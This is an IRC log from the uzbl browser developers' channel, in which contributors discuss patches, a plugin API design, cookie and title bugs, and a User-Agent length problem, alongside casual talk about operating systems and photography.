18:46 < bct> not sure what the point would be, but still.
18:46 < bct> Dieterbe's feed reader, i guess :D
18:52 < holizz> I got the new_window handler working :D
18:58 < scj> bad ass
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19:21 < dxdx> hmm, my GM_xmlhttprequest implementation should be a C plugin to
19:21 < dxdx> *too
19:22 < dxdx> (i was thinking about exposing a pseudodom with javascriptcore)
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19:52 < uranther> kb.mozillazine.org/Problematic_extensions lulz
19:52 < aCiD2> uranther: fasterfox is my favourite there
19:52 < aCiD2> fasterfox, known bugs: may slow down firefox
19:52 < aCiD2> oh the irony
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19:54 < uranther> :P
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20:02 < scj> so, essentially all extensions are problematic?
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20:03 < uranther> failed extensions or failed architecture?
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20:08 < bct> combination of those and a huge and ancient codebase.
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20:10 < dxdx> pointing out where firefox fails won't help much
20:11 < dxdx> after all, even with their ancient codebase, they managed to get the most efficient memory management of all browsers
20:12 < romain> I sent a little patch to uzbl-dev-bounces@lists.uzbl.org but this is a moderated list, where else can I send it?
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20:14 < holizz> Pastebin it, and post it here.
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20:19 < romain> http://pastebin.com/m68c1cfd8
20:20 < dxdx> lazzareth seems to be offline
20:21 < dxdx> oh, yeah, it's like 4am where he lives
20:26 < holizz> I never even tried using .config/uzbl/session before. I'm sure it does something useful...
20:27 < bob_f> If I fill out a form in uzbl that has a "file" input in it, if I submit the form and then hit back, the file field is empty again - is this something in uzbl's domain that could be fixed ?
20:27 < uranther> i read that as "something awful"
20:28 < dxdx> uranther: the internet makes you stupid
20:28 < uranther> yeah
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20:29 < uranther> romain, i see your email on the mailing list
20:29 < uranther> it came through
20:29 < dxdx> it just appeared
20:29 < uranther> magic
20:29 < romain> ok
20:30 < Dieterbe> mason-l: someone sent a patch to the ML for uzbl_tabbed. note that i expect you to test and maybe merge it, so i can merge it from you
20:30 < dxdx> i knew it was something related to diet herbs
20:31 < romain> it is a trivial patch
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20:36 < Dieterbe> okay, this is what happens when you talk first and read backlog afterwards ^^
20:37 < uranther> :)
20:37 < Dieterbe> lol http://kb.mozillazine.org/Problematic_extensions
20:37 < Dieterbe> too funny
20:37 < Dieterbe> it lists all extensions that i use ><
20:38 < Dieterbe> scratch that ! the web developer toolbar is not in there :)
20:39 < uranther> as I understand it, as FS like FUSE would allow uzbl to have "extensions" written in any language? and with the DOM exposed in the FS, nothing is unpossible..
20:40 < uranther> an FS*
20:41  * dxdx imagines writing uzbl extensions in XUL
20:41 < uranther> :(
20:41 < scj> now why do you have to be like that? :(
20:41  * holizz rewrites uzbl in XUL
20:41 < holizz> uzbl is now xuzbl, a Firefox extension.
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20:42 < aCiD2> bob_f: re the file field, chrome does just that too
20:43 < bob_f> aCiD2: Ah. Kind of a pain when I'm testing a webapp that has a file box. :)
20:43 < aCiD2> Test::WWW::Mechanize
20:43 < aCiD2> gogogo
20:43 < aCiD2> :)
20:43 < bob_f> All this talk of acid is making me hungry.
20:43 < uranther> nethack?
20:44 < bob_f> No, Albert Hoffman.
20:44 < scj> probably the same reason why going back reloads the page all over again
20:44 < bob_f> scj: Yeah, but it remembers "text" input values.
20:44 < bob_f> So just wondering if it's a webkit thing or a uzbl thing.
20:45 < scj> didn't know that it did
20:56 < bct> i've added a bunch of configuration use cases to the wiki
20:56 < bct> http://www.uzbl.org/wiki/use_cases
20:57 < bct> please add your own, it'll make figuring out what to do about the config interface confusion easier :)
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21:28 < rob|> the download tracking thing seems superflous as downloads are handled externally anyways..
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21:29 < bct> rob|, maybe they shouldn't be handled externally.
21:29 < bct> (i'm not arguing that)
21:30 < bct> i'm just trying to avoid baking the solutions into the use cases.
21:31 < bct> because if you say it's the same use case, you're making assumptions about how it should be implemented.
21:31 < bct> the ideal implementation provides solutions to many use cases, of course.
21:31 < rob|> so you're not presenting config use cases then..
21:32 < bct> why do you say that?
21:32 < rob|> no, if we state most things should be handled externally that's not a valid use case
21:33 < rob|> i.e. we don't want to handle download internally for a reason in this specific case
21:33 < rob|> *downloads
21:35 < bct> fair enough.
21:35 < bct> (i think there's a decent argument for handling downloads internally, but i don't want to get into that right now)
21:35 < rob|> so, once again - plugins..
21:37 < bct> i think you're assuming a solution, rather than looking for scenarios and seeing where they lead.
21:38 < rob|> well, plugins are usable for any scenario you could imagine
21:38 < rob|> they can implement any behaviour internally or provide any external interface for any given use case
21:38 < bct> sure, but that's not the only criteria to look at.
21:39 < rob|> erm?
21:40 < bct> there are certain costs associated with any solution.
21:40 < bct> from what i've heard, plugins sound rather expensive
21:41 < rob|> how so? or where did you here exactly what?
21:41 < bct> maybe there are other solutions that fulfill the same scenarios without the same costs
21:41 < rob|> saying plugins are expensive is like saying using shared libs is expensive/stupid
21:41 < rob|> i really don't see any point in your arguing
21:42 < bct> ok, maybe i just don't understand what you're proposing.
21:42 < bct> it would be helpful if you wrote something on the wiki or mailing list about it.
21:42 < rob|> hmm, i said that a couple of times today
21:42 < rob|> but yes, i guess you're right
21:42 < bct> "plugins" is a very vague term to me.
21:43 < rob|> i should write iz up and send it to the ml
21:43 < rob|> basically: we would provide a API very similar to our current text based commands
21:44 < rob|> so code could link with our lib using the API to extend uzbl
21:44 < rob|> e.g.: variables could be set and read _and_ an API function could be used to hook any custom function to any variable
21:46 < rob|> this would also quite easily allow for language specific bindings to uzbl, concrete: write uzbl configs/extension in any language
21:46 < rob|> without the need for fifso, files systems, etc.
21:47 < bct> ah, ok. that's a bit clearer.
21:51 < bct> but yes, please send something to the ml. it'll make it easier to figure out what's going on when we know what the options are...
21:51 < rob|> yeah, will certainly do so
21:53 < rob|> i'd also be interested to hear concrete prososals to the API design from anybody interested in this approach
21:53 < rob|> i have a vague scheme in mind bur am open to any ideas
21:55 < Dieterbe> holizz: http://www.uzbl.org/bugs/index.php?do=details&task_id=35&project=1&status[0]=&order=status&sort=desc test this and send me a close request if it's ok
21:56 < Dieterbe> holizz: please :)
21:57 < holizz> Dieterbe, No problem.
22:00 < holizz> Dieterbe, It works as it ought to... but I'd rather it set the title to "" instead of "(no title)".
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22:01 < Dieterbe> holizz: ugh.. i don't care. if you consider this important ask some people for their opinion and let me know the result
22:02 < bct> make it a setting :D
22:02 < bct> (just kidding)
22:05 < holizz> bct, Debate time! Why is "(no title)" better than ""?
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22:09 < scj> (no title) is pronouncable incase you are using text-to-speech...?
22:10 < holizz> Interesting point, scj. My theory is that since the actual page's title is "", then uzbl's title should be "" too.
22:11 < bct> if you're doing some kind of processing on the title blank would be better
22:11 < bct> not sure how or why you'd do that, though.
22:11 < holizz> Dieterbe, My experimental branch has various other changes apart from the "uzbl $uri" patch. Do you want to merge all my other changes or should I somehow reset my experimental branch to match yours and then put the changes relevant to this feature back in?
22:12 < bct> i just made it say (no title) because i don't like having a dangling "-" on the left side of my screen.
22:12 < bct> (and because it was easier to see that it was working)
22:13 < holizz> Meh. I suppose it's not too important.
22:15 < Dieterbe> holizz: uhmm you're talking about the ticket in which i asked to make your branch mergeable right?
22:15 < holizz> Dieterbe, Yep.
22:15 < Dieterbe> holizz: well first merge from me and then i'll look at the diffs.  it's hard to see what you did now
22:18 < Dieterbe> dxdx: 
22:18 < Dieterbe> +%: %.c
22:18 < Dieterbe> +       $(CC) $(CFLAGS) $(CPPFLAGS) $(LDFLAGS) -o $@ $<
22:18 < Dieterbe> dxdx: ^^ why is that needed?
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22:24 < holizz> Dieterbe, There we go, all merged.
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22:31 < github> uzbl: Sergey Shepelev experimental SHA1-06cb8a7
22:31 < github> fixed external links (to be links instead of text) in docs/community
22:31 < github> http://bit.ly/11HZvU
22:31 < github> uzbl: Dieter Plaetinck experimental SHA1-3cac335
22:31 < github> merge doc fix from temoto
22:31 < github> http://bit.ly/EAvb7
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22:33 < dxdx> Dieterbe: that was in makefile-new-test, not sure
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22:34 < Dieterbe> dxdx: so you ask me to merge things of which you're not even sure how they work?
22:34 < Dieterbe> holizz: 
22:34 < Dieterbe> -            //labels and hboxes do not draw their own background. applying this on the vbox is ok as the statusbar is the only affected widget. (if not, we could also use GtkEventBox)
22:34 < Dieterbe> +            //labels and hboxes do not draw their own background. applying this on the window/vbox is ok as the statusbar is the only affected widget. (if not, we could also use GtkEventBox)
22:34 < Dieterbe> you sure you merged correctly?
22:35 < dxdx> Dieterbe: AFAIK that overrides the actions done in implicit targets (such as "uzblctrl" that implies "uzblctrl.c")
22:36 < Dieterbe> aha
22:36 < dxdx> so it says that "uzblctrl" implies "uzblctrl.c" and it should call CC with cflags, cppflags, ldflags, etc
22:37 < dxdx> i thought that was the standard behavior, it probably doesn't make any difference if those lines are removed
22:37 < Dieterbe> ok
22:38 < Dieterbe> holizz: please send me a merge request, but make sure your version is correct (see the comment which you have incorrect above), also explain me why you do things like : -        jar.load(ignore_discard=True)
22:38 < Dieterbe> +        jar.load()
22:39  * Dieterbe goes to bed
22:39 < Dieterbe> good night all
22:39 < holizz> Night night.
22:40 < holizz> Dieterbe, I think you're diffing in the wrong direction.
22:40 < uranther> D:
22:43  * dxdx goes home, will be back in two hours
22:44 < dxdx> meanwhile, don't implement FUSE
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22:45 < holizz> Hey, everybody. Let's all implement FUSE while dxdx is gone! Shhhhh!
22:45 < scj> guys, I just finished implementing the fuse interface
22:45 < bct> imo any idea that isn't worth implementing if it might get thrown away isn't worth implementing.
22:46 < bct> there's only so far we can go without trying stuff. doesn't mean it all has to get onto DB's branch, of course
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23:16 < N30N_> am I correct in believing you cant align text to the right with pango markup?
23:18 < scj> it appears so
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23:24 < rob|> bct: still around?
23:24 < bct> yup.
23:26 < rob|> ok, so just one thing regarding expand. what do you think about not using a separate ..._const hash but rather introduce a new property "read_write" to the table that indicates wether a variable is read only or not
23:27 < rob|> in set_var_value() we would just check for c->is_writeable
23:27 < rob|> could be useful for other read only stuff in the future
23:27 < bct> i originally tried to fit things into the existing hash
23:28 < bct> the problem i ran into was the void **ptr
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23:28 < bct> i was going to have to make a separate char* for each of the contents of uzbl.state.unameinfo
23:29 < bct> which seemed like a lot of namespace clutter.
23:29 < rob|> we should get rid of the uname thing alltogether
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23:30 < bct> the other thing is that i think that the symbols for status bar and title should get their values from a function
23:31 < bct> e.g. PROGRESSBAR calls get_ascii_progress_bar or whatever.
23:31 < bct> we could just do uzbl.state.some_new_progress_bar_variable = get_ascii_progress_bar() every time the progress changes
23:32 < bct> but i'm not sure that's a good solution.
23:32 < rob|> well, i'd say we should keep the current solution i.e. if a var is used run a callback function
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23:33 < rob|> that would also work with your progressbar example
23:33 < bct> you're saying make 'func' dual-use?
23:33 < bct> if the variable is writeable, it gets called when you set the variable
23:33 < bct> otherwise it gets called when you want to read the variable?
23:34 < rob|> hmm, that'll be a possibility
23:34 < bct> i can certainly merge them, i think the uname stuff was the only hangup
23:34 < bct> and it should go for sure.
23:35 < bct> look good apart from that?
23:35 < bct> did the tests pass?
23:36 < rob|> i did not clone your repo, though it looks ok so far, yeah..
23:36 < N30N_> bct: http://www.uzbl.org/wiki/scroll-percentage
23:37 < bct> ah, ok.
23:44 < N30N_> ^^ above wiki page updated — I foregot about the scroll event ;)
23:45 < bct> ah, i was wondering about other ways of scrolling.
23:45 < bct> does it really have to be in both load_commit and load_finish?
23:46 < scj> load_commit triggers when the dom is loaded, load_finish is when the layout is done, I think
23:46 < N30N_> neh qust did it quick, I'll fix that lol
23:47 < N30N_> done
23:47 < N30N_> s/qust/just/
23:48 < N30N_> it's a bit crap that you cant put it on the right of the status tho ;(
23:50 < bct> you could set the gravity to north
23:51 < bct> and then write upside-down text like here: http://www.revfad.com/flip.html
23:55 < N30N_> the gravity attribute doesn't seem to have any effect for me
23:56 < bct> aww :(
23:56 < bct> that would have been pretty cool if it worked.
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00:03 < rob|> http://www.uzbl.org/wiki/view-site-images
00:21 < holizz> I think I'm going to give up on the Web app configurator until the config file is easy to parse.
00:25 < N30N_> rob|: that look intresting. Does uzblcat guess the mimetype form the DTD or anything?
00:34 < holizz> sudo poweroff and see you tomorrow morning.
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00:34 < rob|> N30N_: hmm? no, it doesn't
00:37 < N30N_> xml prolog would be better than the DTD now that I think about it
00:37 < N30N_> oh html only still cool :)
00:42 < rob|> well, nothing fancy though it demonstrates nicely how far you can go with uzbl scripting ;)
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03:48 < mason-l> Dieterbe, I found the patch in the mailing list and I've patched my branch. You can rely on me to keep on top of these things but I just woke up.
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08:53 < bjoernfan> How do you add yourself to the mailinglist? The community-page doesn't say, and the only mailinglist-related thing on the wiki is about the dokuwiki mailing list.
08:57 < mason-l> I've added myself to it but I only get daily digests. I must be doing something wrong.
08:57 < mason-l> bjoernfan, http://lists.uzbl.org/listinfo.cgi/uzbl-dev-uzbl.org
08:59 < Dieterbe> morning dudes and dudettes
08:59 < bjoernfan> mason-l: Thanks
09:00 < mason-l> Morning Dieterbe.
09:00 < mason-l> I've committed that uzbl_tabbed.py patch.
09:01 < ruskie> Dieterbe, can you clarify you comment on #62
09:01 < Dieterbe> ruskie: lets see..
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09:02 < mason-l> ruskie, I think he means you need to maintain the attribute indentation levels
09:02 < mason-l> In columns
09:03 < Dieterbe> ah yes indeed
09:03 < Dieterbe> the indentation looks fine, but it's the alignment that's foobarred
09:05 < ruskie> so it should allign with the upper?
09:05 < ruskie> what about where it can't no matter how much one tries?
09:05 < Dieterbe> all columns should be aligned
09:05 < mason-l> ruskie, Then indent them all outwards to make room.
09:05 < Dieterbe> what do you mean? just add spaces..
09:05 < ruskie> so modify the others to fit?
09:06 < mason-l> Yeah
09:06 < ruskie> example: { "sans_serif_font_family", PTR(uzbl.behave.sans_serif_font_family, <-- this is best fit I can make and it's still offset from the previous line by 3 chars
09:08 < Dieterbe> all lines should be adapted to the longest string of them all
09:08 < Dieterbe> so they all fit
09:11 < ruskie> ok
09:11 < ruskie> no prob
09:11 < ruskie> just used to not modifying stuff outside of the scope
09:12 < Dieterbe> ok
09:13 < Dieterbe> ruskie: btw is the '_family' part really needed? what about just 'uzbl.behave.cursive_font' and such?
09:13 < ruskie> I just used the exact same name as the setting itself
09:13 < ruskie> less confusion that way
09:14 < Dieterbe> ok just leave it
09:21 < Dieterbe> (i mean leave the variable names, but fix the aligment)
09:21 < ruskie> yeah ;)
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09:23 < ruskie> ok the patch is updated
09:23 < ruskie> same link
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09:30 < ruskie> btw the lo-case "r" in my nick is desired ;)
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10:09 < rob|> morning.
10:16 < Dieterbe> hi
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10:34 < rob|> woohaa, no more VB for this month..
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10:35 < Dieterbe> o_O
10:36 < bob_f> rob|: And you're *happy* about this ?
10:37 < rob|> absolutly..
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10:39 < rob|> VB is one of the most inconsistent languages i ever used, but everyone (as in corporate eggheads) seems to get a kick of it
10:39 < bob_f> I think they tried to teach it to me at school.
10:39 < bob_f> It's a littly hazy. :)
10:40 < MichaelRaskin> I used it voluntarily. When I was 12. Because I didn't know better than to use it.
10:40 < rob|> and sports ultra-stpid default when it comes to memory management
10:40 < bob_f> MichaelRaskin: Are you stalking me.
10:41 < MichaelRaskin> I'm feeding you.
10:41 < rob|> ReDim-ing an array will clear the whole memory area if not explicitly told to not do so, etc.
10:41 < bob_f> Hooray !
10:41 < bob_f> rob|: You mean "won't" ?
10:41 < bob_f> Huh, no, you don't.
10:41 < bob_f> I'm confused !
10:42 < bob_f> What's wrong with that ?
10:42 < bob_f> Sounds like garbage collection.
10:43 < rob|> i mean what i wrote
10:43 < bob_f> I'm confused why this would be a bad thing.
10:44 < rob|> because it does not make any sense?
10:44 < bob_f> Then I must have misunderstood you.
10:44 < bob_f> Oh, wait, "ReDim-ing" as in, e.g. making it larger ?
10:44 < rob|> that's like realloc would NULL out the whole (previously) allocated array before re-sizing it
10:45 < romain> hm, on a website, when I click on a link which may open a new window with javascript, it opens a new uzbl but with the homepage
10:45 < bob_f> Well, it kind of makes sense, especially if the internal implementation creates a new array when you redim it.
10:45 < bob_f> I don't mean to argue that VB isn't terrible, by the way. :)
10:45 < bob_f> romain: I think somebody has been working on this stuff.
10:46 < rob|> sure, though even in that case it is stupid cause ReDim would do malloc and memset in one go by default for no reason
10:47 < Dieterbe> romain: are you using an old version?
10:47 < romain> I use the git's master branch
10:47 < romain> (yours)
10:47 < bob_f> rob|: Programming languages are terrible things.
10:49 < rob|> especially though pinched and stupidly "enhanced" by M$ :P
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10:50 < rob|> it's like, hey let's add just another layer of bullshit to our language and cofuse the fuck out of everyone trying to make use of our product
10:50 < Dieterbe> romain: well that's weird then. shouldn't happen
10:51 < rob|> anyways, enough ranting for today ;()
10:52 < romain> note that I use uzbl_tabbed.py, I don't know if this can be a problem with that
10:52 < Dieterbe> romain: ah could be, i don't uze tabbed.py myself
10:53 < holizz> Is it just me or does Dieterbe/experimental break cookies?
10:56  * Dieterbe hides
10:59 < Dieterbe> hey.. a WM inside a window.. http://rootshell.be/~polachok/trash/dwm-in-a-win.png imagine the possibilities..
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11:00 < romain> a wm inside a window inside a wm inside a window inside a wm… usefull! :)
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11:01 < holizz> At EuroPython somebody had GTK code running unmodified in a Web browser using JavaScript.
11:02 < mason-l> Survey: ~ $ $ wc -l ~/.local/share/uzbl/history
11:02 < mason-l> I mean: ~ $ wc -l ~/.local/share/uzbl/history
11:03 < mason-l> I've got 2,717 lines.
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11:03 < Dieterbe> holizz: heh? wait.. what? so you would display any gtk app inside a browser using JS, or what?
11:03 < holizz> 9637.
11:03 < MichaelRaskin> dwm in a window seems to be an Xnest
11:04 < holizz> Dieterbe, Yeah. It takes pygtk apps, and compiles them to JavaScript. It was pretty amazing.
11:05 < Dieterbe> not sure about it's usefullness though
11:05 < Dieterbe> 328 /home/dieter/.local/share/uzbl/history
11:05 < Dieterbe> note this is on my laptop, on which i don't really use uzbl much yet :P
11:06 < Dieterbe> my box at home will have much more but can't reach that one now
11:06 < mason-l> Dieterbe, Awww :(
11:34 < rob|> oh man: http://googleblog.blogspot.com/2009/07/introducing-google-chrome-os.html
11:36 < Dieterbe> pretty nice huh.  this is what MS wanted to do 15 years ago.  the computer would just load the os "from the cloud", and all your apps and data are stored in the cloud
11:36 < tha> is this for real?
11:36 < tha> whats wrong with andoid?
11:39 < holizz> Except Google won't be charging you per hour - they'll just fill it with adverts.
11:40 < rob|> "new windowing system on top of a linux kernel"
11:41 < rob|> now that makes me curious..
11:41 < holizz> Interesting. They're going to do away with X?
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11:42 < Dieterbe> don't think so
11:42 < holizz> Wouldn't be too painful to port apps if you're only going to port one.
11:42 < Dieterbe> i think they will implement windowing inside their browser (eg something like tabs)
11:43 < Dieterbe> and you would basically just load the browser and work therein, somewhat like emacs ;)
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11:45 < holizz> Now what do we call Chrome the browser? Chrome-not-the-OS-the-other-one? Chrome Browser?
11:55 < bob_f> "Google Chrome OS is an open source, lightweight operating system that will initially be targeted at netbooks. Later this year we will open-source its code,"
11:55 < bob_f> They spelled "is currently closed source" wrong.
11:56 < holizz> I think they spelled "it's not available yet" wrong.
11:58 < holizz> My debugging tool: git checkout HEAD^ && make && ./uzbl -vu twitter.com
11:58 < bob_f> Well, I don't really have any objections to goggles dominating the OS market, if it's got to be between them, Apple and MS. :)
11:59 < MichaelRaskin> If the OS market is to be dominated, MS is lesser evil. They are less apt already
12:00 < bob_f> MichaelRaskin: I don't really understand your logic.
12:00 < rob|> well, with the OS being open source the evil parts could at least be worked around/removed ;)
12:01 < bob_f> Yes, and hacked on ! And goggles, no matter what people say about them, are generally a pretty "cool" company when it comes to making users *and* developers happy.
12:01 < MichaelRaskin> rob|, it is about the fragmenting the OS market back
12:01 < MichaelRaskin> And fragmenting is surely good
12:01 < bob_f> Since they realise that devs are users too. So I would be surprised if they delivered something that wasn't a whole lot nicer to dev for than Windows.
12:01 < Dieterbe> if the os market is to be dominated, it should be dominated by cannocical or something ;)
12:02  * bob_f hisses.
12:02 < Dieterbe> as long as they give good support and stick to an opensource product :)
12:02 < bob_f> I am allergic to Canonical.
12:02 < Dieterbe> Canonical Canonical Canonical Canonical  Canonical Canonical  Canonical Canonical  Canonical Canonical  Canonical Canonical
12:02 < Dieterbe> god bless you!
12:02 < rob|> heh
12:03 < Dieterbe> novell then? :)
12:03  * bob_f turns green.
12:03 < MichaelRaskin> MS is better than Google because they at least make trojan writers do something to steal the information
12:03 < Dieterbe> or what about redhat?
12:03 < bob_f> debian or die !!111
12:04 < holizz> Interesting. I have a line starting with several thousand 0x00 in my cookies.txt.
12:04 < MichaelRaskin> RedHat dominating OS market would be the nicest of mentioned possibilities.
12:04 < holizz> That would explain the cookies breaking.
12:05 < MichaelRaskin> They need to respawn official desktop releases
12:05 < MichaelRaskin> For that end
12:05 < MichaelRaskin> And they seem to have limited enthusiasm as of now.
12:05 < holizz> lol RedHat. I thought they stopped being popular last centuary?
12:06 < MichaelRaskin> Their actions still ensure that their popularity will not fall _below_ zero.
12:08 < MichaelRaskin> Of course, RedHat/Fedora/CentOS distinctions prevent them from being very popular..
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12:13  * mason-l loves all the operating systems that will never make it big. 
12:14 < mason-l> I'm tied between Arch & Gentoo.
12:14 < mason-l> I've been meaning to put arch back on my netbook.
12:15 < mason-l> With xmonad to learn me some Haskell for great good.
12:16 < ent> gentoo is nice but arch lacks all the compiling
12:16 < Dieterbe> abs
12:16 < mason-l> I would say versioning.
12:17 < ent> ok, lacks some of the compiling
12:17 < mason-l> I would love a pacman that kept track of a few versions.
12:17 < Dieterbe> ent: you can compile your entire system with abs if you want
12:17 < holizz> Arch has been annoying me lately.
12:17 < Dieterbe> mason-l: you mean like slots in gentoo?
12:17 < ent> but you don't have to :P
12:17 < Dieterbe> ent: exactly
12:18 < Dieterbe> which is good..
12:18 < ent> yes
12:18 < ent> my first distro was gentoo on a 233 MHz pII
12:18 < mason-l> Dieterbe, No, not slots. I just mean have the choice of a few versions of every application.
12:18 < mason-l> Take for example python
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12:19 < holizz> I can't do a normal -Syu because the new awesome doesn't work _at_all_ and there are at least 4 packages that I also can't install because awesome relies on them.
12:19 < ent> i learned not to like compiling everything :)
12:19 < mason-l> dev-lang/python Available versions: 2.4.6  2.5.4-r2  2.5.4-r3  ~2.6.2-r1
12:19 < mason-l> In portage at the moment.
12:20 < Dieterbe> mason-l: i see.i think you could do it by creating your own package based on the one from abs and rename it ;)
12:20 < Dieterbe> mason-l: not as clean though, i know..
12:20 < Dieterbe> but yeah "simplicity above all" i like that
12:21 < Dieterbe> in theory you should only need a single version of everything, arch persues that principle
12:21 < mason-l> My gentoo system at the moment is crazy.
12:21 < mason-l> You should see my use-flags :P
12:22 < Sekenre> Hi folks, whenever I try to "set uri http://serverfault.com/" I get an error 400 Bad Request. Is this a known issue?
12:22 < mason-l> Sekenre, Missing the =
12:23 < Sekenre> same issue, it even happens when I follow a link
12:23 < Sekenre> also affected is thedailywtf.com
12:24 < mason-l> Works for me.
12:24 < mason-l> Sekenre, What version of webkit are you using?
12:25 < Sekenre> libwebkit 1.1.10-1
12:25 < mason-l> It's working fine on version 1.1.10
12:25 < mason-l> Mmm.
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12:26 < mason-l> Sekenre, Does the page work in firefox or any other browser on your machine?
12:26 < Dieterbe> set http_debug to 3
12:26 < Dieterbe> and show us the output
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12:27 < Sekenre> ok hold on
12:29 < holizz> Quiz: do we want a --version/-V option to print the COMMIT and exit?
12:31 < Dieterbe> yes that would be cool
12:31 < Dieterbe> in fact there is a ticket for this IIRC
12:34 < Sekenre> http://paste.lisp.org/+1S7R
12:35 < Dieterbe> hmm looks pretty valid to me
12:36 < Sekenre> exactly the same story with thedailywtf.com
12:36 < Sekenre> both work fine in firefox 3.5
12:37 < rob|> strange, both work fine in uzbl for me
12:38 < Dieterbe> dieter@dieter-dellD620-arch ~ telnet serverfault.com 80
12:38 < Dieterbe> Trying 69.59.196.212...
12:38 < Dieterbe> Connected to serverfault.com.
12:38 < Dieterbe> Escape character is '^]'.
12:38 < Dieterbe> GET / HTTP/1.0
12:38 < Dieterbe> HTTP/1.1 404 Not Found
12:38 < Dieterbe> with 1.1 i also get bad request
12:39 < holizz> I'm not really sure where I should put the variable that the option parser sets for -V. I called it uzbl.behave.version_and_exit... but I'm not sure that's where it should go. Any ideas?
12:41 < Dieterbe> uzbl.commit or something? which would get the commit hardcoded at build time
12:42 < holizz> No, no, the commit is already stored as COMMIT at buildtime (it's something you can put into the useragent string). I meant that the option parser needs to set a variable to a value, and I was wondering which variable it should be.
12:43 < rob|> yep, uzbl.version should be fine
12:43 < Dieterbe> hm? why does the option parser need to set any value?
12:44 < Dieterbe> it should just call a function that does something like printf("uzbl version is %s\n",uzbl.version);
12:44 < holizz> RE the 40? errors: this works: echo -e 'GET / HTTP/1.1\nHost: serverfault.com\n' | netcat serverfault.com 80
12:44 < Dieterbe> and having uzbl.version hardcoded at build time, not popuplated at runtime
12:45 < rob|> Dieterbe: it would also be nice to be able to say: print @version
12:45 < holizz> Dieterbe, Okay, I'll see if GOption does that.
12:45 < Dieterbe> rob|: yep
12:58 < holizz> http://github.com/holizz/uzbl/commit/2672063aa27cefe7e4316263b3cf2faf462dfb34 Good? [y/n]
12:58 < holizz> I couldn't see a way to make GOption run a function. Just set a variable.
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13:04 < rob|_> hmm
13:06 < rob|_> since print_version is a behaviour flag it should probably go to the behave struct, also why is it "print_version" in .c and "display_version" in .h?
13:06 < holizz> Oops.
13:08 < rob|_> anyways, that's another good example for read only vars.
13:08 < rob|_> bct: will you add the read_write flag to the table or are you going to keep separate tables for "const" values?
13:08 < rob|_> i'd vote for the former
13:09 < holizz> http://github.com/holizz/uzbl/commit/c98ba53f6a19253a9b4546d0f4e85d4681878042 I knew I created the unstable branch for a good reason.
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13:20 < mason-l> 'why is it "print_version" in .c and "display_version" in .h?' Is there a word for that tendency to confuse function names all the time? Like function-name-aphasia?
13:24 < Sekenre> ok I found it! If I set the user agent string to be shorter it works fine. Looks like serverfault.com and thedailywtf.com use crappy IIS that don't handle long User-Agent: strings
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13:33 < mason-l> Thats bizarre.
13:34 < mason-l> I wouldn't have thought serverfault used IIS. In fact I was unaware people used IIS at all.
13:34 < mason-l> Sekenre, But these sites work fine for me in uzbl anyway...
13:35 < Sekenre> mason-l: does your user-agent string contain the commit id and everything?
13:35 < mason-l> Yeah
13:36 < Sekenre> well the only thing I changed was the user-agent and it worked :)
13:36 < mason-l> Uzbl (Webkit 1.1.10) (Linux mason-server 2.6.27-gentoo-r8 #6 SMP Sat Mar 14 14:48:56 WST 2009 x86_64 [x86_64]) (Commit 23f6ed74c0305bdb25aac4520f5b2c9558838215)
13:36 < Sekenre> humm, yours is longer than mine...
13:36 < mason-l> :D
13:37 < Sekenre> Uzbl (Webkit 1.1.10) (Linux vostok 2.6.30-ARCH #1 SMP PREEMPT Sat Jul 4 11:13:08 UTC 2009 i686 [i686]) (Commit 9a32a5f8c8d18d143cf8b4a89531c866679026c7)
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13:37 < mason-l> Sekenre, Do you find a preemptive kernel causes you many problems?
13:38 < mason-l> Ah, never mind. Im thinking tickless.
13:38 < Sekenre> i haven't noticed...
13:38 < mason-l> I had huge problems with a tickless system.
13:38 < Dieterbe>  Sekenre> ok I found it! If I set the user agent string to be shorter it works fine. Looks like serverfault.com and thedailywtf.com use crappy IIS that don't handle long User-Agent: strings
13:39 < Dieterbe> note : it may be that there are limits for user agent in the http spects.  let's not blame iis without being sure
13:39 < Dieterbe> specs*
13:46 < rob|_> http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-July/000127.html
13:47 < Dieterbe> Sekenre: post a ticket on our bugtracker so we can track the issue, whether it's our fault or not
13:48 < Sekenre> I found this to start with: http://stackoverflow.com/questions/654921/how-big-can-a-user-agent-string-get
13:49 < Sekenre> The tech net article recommends setting the UA string to be 200 characters :)
13:50 < Sekenre> my UA string was only 189 though
13:51 < Dieterbe> ok
13:51 < Sekenre> I'll post a bug just in case though
13:52 < stevan> hi, i thought i'd just mention (since i can't find that anyone else has yet) that FUSE doesn't work on openbsd...
13:53 < mason-l> lol http://www.google.com/trends?q=uzbl&ctab=0&geo=all&date=all&sort=0
13:55 < Dieterbe> stevan: you really sure about that?
13:55 < stevan> yes
13:55 < Dieterbe> stevan: i suggest you mail that concern to the ML
13:56 < stevan> i'm not on the list, can one still reply to it?
13:58 < ruskie> Dieterbe, is it ok now?
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14:00 < Dieterbe> ruskie: i will look at your patch again when i'm at home
14:01 < ruskie> ok
14:02 < ruskie> mason-l, give source mage a try if you're thinking of plaing with a fresh distro...
14:02 < ruskie> just wasn't sure if you actualy got the message or not ;)
14:09 < mason-l> ruskie, Source mage?
14:11 < ruskie> mason-l, well you said you were between arch and gentoo ;) so give something else a try as well ;)
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14:13 < mason-l> "package manager and packages are written in bash" Insane.
14:16 < ruskie> :)
14:23 < thesnowdog> mason-l: I agree, what's wrong with plain old sh? Sheesh!
14:23 < Dieterbe> sh is too simple
14:25 < ruskie> lol
14:25 < ruskie> give it a try ;)
14:25 < Dieterbe> but then again if you want to do decent scripting, bash is not good enough either
14:25 < scj> nixos's package manager seems pretty cool
14:26 < rob|_> btw, 2 HDR photos i took yesterday. i use the first as background img:  http://omploader.org/vMXh6Nw and http://omploader.org/vMXh6OA
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14:27 < scj> rob|: the first one is awesome
14:27 < Dieterbe> indeed. both are nice, but the first is nicer
14:28 < ruskie> whoa
14:28 < ruskie> nice
14:28 < Dieterbe> rob|: you shot #2 ? that ancient building is in your region?
14:29 < rob|> yes, it is like 1km from my current location
14:29 < rob|> it's called walhalla
14:29  * ruskie wonders how he made those
14:29 < scj> that's a pretty awesome name for a place
14:30 < rob|> http://en.wikipedia.org/wiki/Walhalla_temple
14:31 < rob|> ruskie: well, actually it's 3 pictures with different exposing times combined into one
14:31 < rob|> *exposure
14:32 < ruskie> nice
14:33  * ruskie needs to dig out his e520 and go take some photos sometime again... been a while since I did anything
14:33 < rob|> yeah, i also enjoy taking pictures a lot :)
14:34 < ruskie> though I tend to be not very stable to take photos
14:34 < ruskie> no clue why
14:34 < DuClare> Lack of practice?
14:35 < ruskie> naahh
14:35 < ruskie> just shaky hands
